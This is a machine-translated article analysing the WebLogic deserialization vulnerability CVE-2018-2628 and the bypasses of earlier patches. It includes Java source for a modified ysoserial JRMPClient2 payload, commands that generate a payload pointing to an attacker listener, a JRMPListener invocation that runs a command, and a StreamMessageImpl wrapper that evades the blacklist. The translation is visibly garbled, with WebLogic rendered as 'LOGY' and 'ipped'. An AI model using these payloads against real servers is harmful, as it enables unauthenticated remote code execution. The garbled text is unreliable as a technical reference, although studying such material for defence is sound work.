Shulou(Shulou.com)05/31 Report--

Today, I will talk to you about the example analysis of WebLogic deserialization vulnerability. Many people may not know much about it. In order to let everyone know more, Xiaobian summarizes the following contents for everyone. I hope you can gain something according to this article.

About the vulnerability

On April 18, 2018, Oracle officially released the April Critical Patch Update for CPU, which fixes a high-risk LOGY deserialization vulnerability CVE-2018-2628. Attackers can remotely attack vulnerable assemblies via the T3 protocol without authorization and gain all privileges on the target system.

vulnerability affects

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic deserialization vulnerability history

Here are a few Weblogic deserialization vulnerabilities that have open exploits.

CVE-2015-4852

On November 6, 2015, FoxGlove Security's @breenmachine blog introduced how to use Java deserialization and Apache Commons Collections to attack the latest versions of famous Java applications such as BASIC, WebSphere, JBoss, Jenkins, OpenNMS, and achieve remote code execution. CVE-2015-4852 uses the Commons Collections library in Weblogic to implement remote code execution. A review of the patch for CVE-2015-4852 (p21984589_1036_Generic) revealed that Weblogic uses a blacklist to fix this vulnerability.

However, this repair method is very passive and there is a risk of being bypassed. As long as a deserialization class is found that is available and not outside the blacklist, the previous protection will be broken and the system will be attacked. And then the holes prove it.

CVE-2016-0638

There are three deserialized points in Weblogic, and the blacklist ClassFilter.class also works on these three positions.

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class

weblogic.iiop.Utils.class

Some people found that readExternal() using weblogic.jms.common.StreamMessageImpl can also be deserialized, and this is not subject to blacklist restrictions, so you can bypass the previous patch.

CVE-2016-3510

The idea is to encapsulate the deserialized object into weblogic.corba.utils.MarshalledObject, and then serialize MarshalledObject to generate payload bytecode. MarshalledObject is not in the LOGY blacklist during deserialization, and can be deserialized normally. When MarshalledObject calls readObject during deserialization, the serialized object encapsulated by MarshalledObject is deserialized again, thus escaping the inspection of the blacklist.

CVE-2017-3248

Java Remote Messaging Protocol (JRMP) is a Java technology-specific protocol for finding and referencing remote objects. This is a wire layer protocol that runs under Java Remote Method Invocation RMI and above TCP/IP.

This vulnerability exploits a flaw in the RMI mechanism to perform arbitrary deserialization of payloads via the JRMP protocol. Use JRMPLister for ysoserial, which serializes a RemoteObjectInvocationHandler that uses UnicastRef to establish a TCP connection to the remote to obtain the RMI registry. This connection uses the JRMP protocol, so the client will deserialize anything in the server response, enabling unauthenticated remote code execution.

CVE-2018-2628 Vulnerability Analysis

First, let's look at the following patch for CVE-2017-3248 (p24667634_1036_Generic). In weblogic.rjvm. InboundMsgAbstrv $ServerChannelInputStream.class, there is an additional resolveProxyClass. This resolveProxyClass only judges the RMI interface type and determines whether the RMI interface is java.rmi.registry.Registry. If yes, an error is thrown.

Write a JRMPClient2 modeled after JRMPClient and recompile it.

public class JRMPClient2 extends PayloadRunner implements ObjectPayload {public Activator getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep

< 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {Activator.class}, obj);return proxy;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());PayloadRunner.run(JRMPClient2.class, args);}} 生成 payload： java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" >

p_client2

Compare the payloads generated by JRMPClient and JRMPClient2 below.

Except for the RMI interface, everything else is the same.

JRMPLister Open

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

The version of Weblogic I tested is 10.3.6.0.170117, which fixes CVE-2017-3248. In my local environment, the CommonsCollections payload has expired. Weblogic's commons-collections.jar version has been upgraded, so I use Jdk 7u21 as the payload here (this payload only works if the JRE version is less than or equal to 1.7u21). In commons-collections.jar versions of Weblogic that have not been upgraded, it is possible to use CommonsCollections as a payload.

Use the t3 protocol script to send p_client2, you can see that JRMPLister has a request coming, and the client command has been successfully executed.

By contrast, if the p_client generated by JRMPClient is also sent, you can see the error message Unauthorized proxy deserialization, which is the error thrown by blacklist interception.

java.rmi.activation.Activator is a patch that bypasses CVE-2017-3248.

Another way around patches

This method was discovered when I tried to reload the vulnerability, and the bypass method is related to CVE-2016-0638.

StreamMessageImpl This point has no resolveProxyClass check when deserializing. So you can use StreamMessageImpl to serialize RemoteObjectInvocationHandler to bypass the resolveProxyClass function. This is equivalent to using CVE-2016-0638 exploitation plus the payload of CVE-2017-3248 to bypass the patch.

Wrap the payloadObject generated by JRMPClient with StreamMessageImpl to generate a new payload--p_stream.

public static Object streamMessageImpl(byte[] object) throws Exception {StreamMessageImpl streamMessage = new StreamMessageImpl();streamMessage.setDataBuffer(object, object.length);return streamMessage;}

Using the script send, you can see that the command was successfully executed.

CVE-2018-2628 Patch Analysis

A preliminary comparison of the patch (p27395085_1036_Generic) shows that the blacklist of WeblogicFilterConfig.class has one more sun.rmi.server.UnicastRef.

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

But according to my actual test, the command can still be executed successfully, it seems that the patch does not work.

After reading the above, do you have any further understanding of the case analysis of the ipped deserialization vulnerability? If you still want to know more knowledge or related content, please pay attention to the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.